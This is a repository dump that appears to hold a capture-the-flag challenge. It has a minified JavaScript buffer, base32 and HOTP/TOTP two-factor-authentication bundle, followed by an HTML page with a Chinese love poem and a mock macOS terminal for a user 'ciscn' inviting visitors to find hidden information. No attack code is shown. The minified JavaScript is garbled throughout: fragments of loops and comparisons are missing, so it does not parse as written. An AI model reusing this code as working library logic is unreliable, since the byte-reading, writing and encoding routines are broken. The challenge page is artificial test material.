e||C(t,4,this.length),16777216*this[t]+(this[t+1]<<16|this[t+2]<<8|this[t+3])},f.prototype.readIntLE=function(t,e,r){t|=0,e|=0,r||C(t,e,this.length);for(var n=this[t],o=1,i=0;++i=(o*=128)&&(n-=Math.pow(2,8*e)),n},f.prototype.readIntBE=function(t,e,r){t|=0,e|=0,r||C(t,e,this.length);for(var n=e,o=1,i=this[t+--n];n>0&&(o*=256);)i+=this[t+--n]*o;return i>=(o*=128)&&(i-=Math.pow(2,8*e)),i},f.prototype.readInt8=function(t,e){return e||C(t,1,this.length),128&this[t]?-1*(255-this[t]+1):this[t]},f.prototype.readInt16LE=function(t,e){e||C(t,2,this.length);var r=this[t]|this[t+1]<<8;return 32768&r?4294901760|r:r},f.prototype.readInt16BE=function(t,e){e||C(t,2,this.length);var r=this[t+1]|this[t]<<8;return 32768&r?4294901760|r:r},f.prototype.readInt32LE=function(t,e){return e||C(t,4,this.length),this[t]|this[t+1]<<8|this[t+2]<<16|this[t+3]<<24},f.prototype.readInt32BE=function(t,e){return e||C(t,4,this.length),this[t]<<24|this[t+1]<<16|this[t+2]<<8|this[t+3]},f.prototype.readFloatLE=function(t,e){return e||C(t,4,this.length),o.read(this,t,!0,23,4)},f.prototype.readFloatBE=function(t,e){return e||C(t,4,this.length),o.read(this,t,!1,23,4)},f.prototype.readDoubleLE=function(t,e){return e||C(t,8,this.length),o.read(this,t,!0,52,8)},f.prototype.readDoubleBE=function(t,e){return e||C(t,8,this.length),o.read(this,t,!1,52,8)},f.prototype.writeUIntLE=function(t,e,r,n){(t=+t,e|=0,r|=0,n)||H(this,t,e,r,Math.pow(2,8*r)-1,0);var o=1,i=0;for(this[e]=255&t;++i=0&&(i*=256);)this[e+o]=t/i&255;return e+r},f.prototype.writeUInt8=function(t,e,r){return t=+t,e|=0,r||H(this,t,e,1,255,0),f.TYPED_ARRAY_SUPPORT||(t=Math.floor(t)),this[e]=255&t,e+1},f.prototype.writeUInt16LE=function(t,e,r){return t=+t,e|=0,r||H(this,t,e,2,65535,0),f.TYPED_ARRAY_SUPPORT?(this[e]=255&t,this[e+1]=t>>>8):Y(this,t,e,!0),e+2},f.prototype.writeUInt16BE=function(t,e,r){return t=+t,e|=0,r||H(this,t,e,2,65535,0),f.TYPED_ARRAY_SUPPORT?(this[e]=t>>>8,this[e+1]=255&t):Y(this,t,e,!1),e+2},f.prototype.writeUInt32LE=function(t,e,r){return t=+t,e|=0,r||H(this,t,e,4,4294967295,0),f.TYPED_ARRAY_SUPPORT?(this[e+3]=t>>>24,this[e+2]=t>>>16,this[e+1]=t>>>8,this[e]=255&t):k(this,t,e,!0),e+4},f.prototype.writeUInt32BE=function(t,e,r){return t=+t,e|=0,r||H(this,t,e,4,4294967295,0),f.TYPED_ARRAY_SUPPORT?(this[e]=t>>>24,this[e+1]=t>>>16,this[e+2]=t>>>8,this[e+3]=255&t):k(this,t,e,!1),e+4},f.prototype.writeIntLE=function(t,e,r,n){if(t=+t,e|=0,!n){var o=Math.pow(2,8*r-1);H(this,t,e,r,o-1,-o)}var i=0,u=1,a=0;for(this[e]=255&t;++i>0)-a&255;return e+r},f.prototype.writeIntBE=function(t,e,r,n){if(t=+t,e|=0,!n){var o=Math.pow(2,8*r-1);H(this,t,e,r,o-1,-o)}var i=r-1,u=1,a=0;for(this[e+i]=255&t;--i>=0&&(u*=256);)t<0&&0===a&&0!==this[e+i+1]&&(a=1),this[e+i]=(t/u>>0)-a&255;return e+r},f.prototype.writeInt8=function(t,e,r){return t=+t,e|=0,r||H(this,t,e,1,127,-128),f.TYPED_ARRAY_SUPPORT||(t=Math.floor(t)),t<0&&(t=255+t+1),this[e]=255&t,e+1},f.prototype.writeInt16LE=function(t,e,r){return t=+t,e|=0,r||H(this,t,e,2,32767,-32768),f.TYPED_ARRAY_SUPPORT?(this[e]=255&t,this[e+1]=t>>>8):Y(this,t,e,!0),e+2},f.prototype.writeInt16BE=function(t,e,r){return t=+t,e|=0,r||H(this,t,e,2,32767,-32768),f.TYPED_ARRAY_SUPPORT?(this[e]=t>>>8,this[e+1]=255&t):Y(this,t,e,!1),e+2},f.prototype.writeInt32LE=function(t,e,r){return t=+t,e|=0,r||H(this,t,e,4,2147483647,-2147483648),f.TYPED_ARRAY_SUPPORT?(this[e]=255&t,this[e+1]=t>>>8,this[e+2]=t>>>16,this[e+3]=t>>>24):k(this,t,e,!0),e+4},f.prototype.writeInt32BE=function(t,e,r){return t=+t,e|=0,r||H(this,t,e,4,2147483647,-2147483648),t<0&&(t=4294967295+t+1),f.TYPED_ARRAY_SUPPORT?(this[e]=t>>>24,this[e+1]=t>>>16,this[e+2]=t>>>8,this[e+3]=255&t):k(this,t,e,!1),e+4},f.prototype.writeFloatLE=function(t,e,r){return I(this,t,e,!0,r)},f.prototype.writeFloatBE=function(t,e,r){return I(this,t,e,!1,r)},f.prototype.writeDoubleLE=function(t,e,r){return x(this,t,e,!0,r)},f.prototype.writeDoubleBE=function(t,e,r){return x(this,t,e,!1,r)},f.prototype.copy=function(t,e,r,n){if(r||(r=0),n||0===n||(n=this.length),e>=t.length&&(e=t.length),e||(e=0),n>0&&n=this.length)throw new RangeError("sourceStart out of bounds");if(n<0)throw new RangeError("sourceEnd out of bounds");n>this.length&&(n=this.length),t.length-e=0;--o)t[o+e]=this[o+r];else if(i<1e3||!f.TYPED_ARRAY_SUPPORT)for(o=0;o>>=0,r=void 0===r?this.length:r>>>0,t||(t=0),"number"==typeof t)for(i=e;i55295&&r<57344){if(!o){if(r>56319){(e-=3)>-1&&i.push(239,191,189);continue}if(u+1===n){(e-=3)>-1&&i.push(239,191,189);continue}o=r;continue}if(r<56320){(e-=3)>-1&&i.push(239,191,189),o=r;continue}r=65536+(o-55296<<10|r-56320)}else o&&(e-=3)>-1&&i.push(239,191,189);if(o=null,r<128){if((e-=1)<0)break;i.push(r)}else if(r<2048){if((e-=2)<0)break;i.push(r>>6|192,63&r|128)}else if(r<65536){if((e-=3)<0)break;i.push(r>>12|224,r>>6&63|128,63&r|128)}else{if(!(r<1114112))throw new Error("Invalid code point");if((e-=4)<0)break;i.push(r>>18|240,r>>12&63|128,r>>6&63|128,63&r|128)}}return i}function j(t){return n.toByteArray(function(t){if((t=function(t){return t.trim?t.trim():t.replace(/^\s+|\s+$/g,"")}(t).replace(M,"")).length<2)return"";for(;t.length%4!=0;)t+="=";return t}(t))}function N(t,e,r,n){for(var o=0;o=e.length||o>=t.length);++o)e[o+r]=t[o];return o}}).call(this,r(6))},function(t,e,r){"use strict";(function(t){var r=[255,255,26,27,28,29,30,31,255,255,255,255,255,255,255,255,255,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,255,255,255,255,255,255,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,255,255,255,255,255];e.encode=function(e){t.isBuffer(e)||(e=new t(e));for(var r,n,o=0,i=0,u=0,a=0,f=new t(8*(r=e,n=Math.floor(r.length/5),r.length%5==0?n:n+1));o3?(a=(a=s&255>>u)<<(u=(u+5)%8)|(o+1>8-u,o++):(a=s>>8-(u+5)&31,0===(u=(u+5)%8)&&o++),f[i]="ABCDEFGHIJKLMNOPQRSTUVWXYZ234567".charCodeAt(a),i++}for(o=i;o>>(o=(o+5)%8),a[u]=n,u++,n=255&i<<8-o)}return a.slice(0,u)}}).call(this,r(7).Buffer)},function(t,e,r){var n=r(8);e.encode=n.encode,e.decode=n.decode},function(t,e,r){"use strict"; 9 | /*! 10 | * Two-factor authentication implementation in pure javascript. 11 | * One-time password generator (HOTP/TOTP) with support for Google Authenticator. 12 | * 13 | * @author wuyanxin 14 | * @license MIT 15 | */var n=r(0),o=r(1);o.HOTP=n,t.exports=o}])}); -------------------------------------------------------------------------------- /source/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 给小蛮腰,一个美丽的姑娘 6 | 7 | 8 | 9 | 46 | 47 | 48 | 49 | 50 | 51 |
52 | 53 |

给小蛮腰,一个美丽的姑娘

54 | 55 |

我是一个在黑暗中大雪纷飞的人

56 |

你再不来,我就要下雪了

57 |

每夜,梦中的你

58 |

梦中是你

59 |

与枕俱醒

60 |

觉得不是你

61 | 62 |

另一些人

63 |

扮演你入我梦中

64 |

哪有你,你这样好

65 |

哪有你这样你

66 |

送给小蛮腰  希望她一切顺利^_^  不要那么辛苦^_^

67 | 68 |
69 | 70 |
71 | 72 |
73 | Last login: Fri May 3 17:35:54 on ttys003 74 |
75 | [oh-my-zsh] '/Users/ciscn/.oh-my-zsh/themes/dieter.zsh-theme' loaded... 76 |
77 |
78 |
79 |                 ### 80 |
81 |
               ####                   User: ciscn
83 |
               ###                    Hostname: ciscn-mbp
85 |
       #######    #######             Distro: OS X 10.13.6
87 |
     ######################           Kernel: Darwin
89 |
    #####################             Uptime: 17 days
91 |
    ####################              Shell: /bin/zsh
93 |
    ####################              Terminal: xterm-256color
95 |
    #####################             Packages: 78
97 |
     ######################           CPU: Intel Core i7-7820HQ CPU @ 2.90GHz
99 |
      ####################            Memory: 16 GB
101 |
        ################              Disk: 1 TB
103 |
         ####     #####
104 |
105 |
106 | Hi, I'm ciscn. Here is my MacBook Pro. Welcome to use it!
107 | Try to find more information about me! 108 |
109 | 'help' to get help. 'exit' to give up.
Have fun :-)
110 |
111 |
112 | 113 | [ciscn@ciscn-mbp /sandbox]% 114 | 115 | 116 |
117 | 118 |
119 |
120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 222 | 294 | 295 | 308 | 328 | 344 | 365 | 366 | 381 | 382 | 393 | 415 | 416 | 1244 | 1245 | --------------------------------------------------------------------------------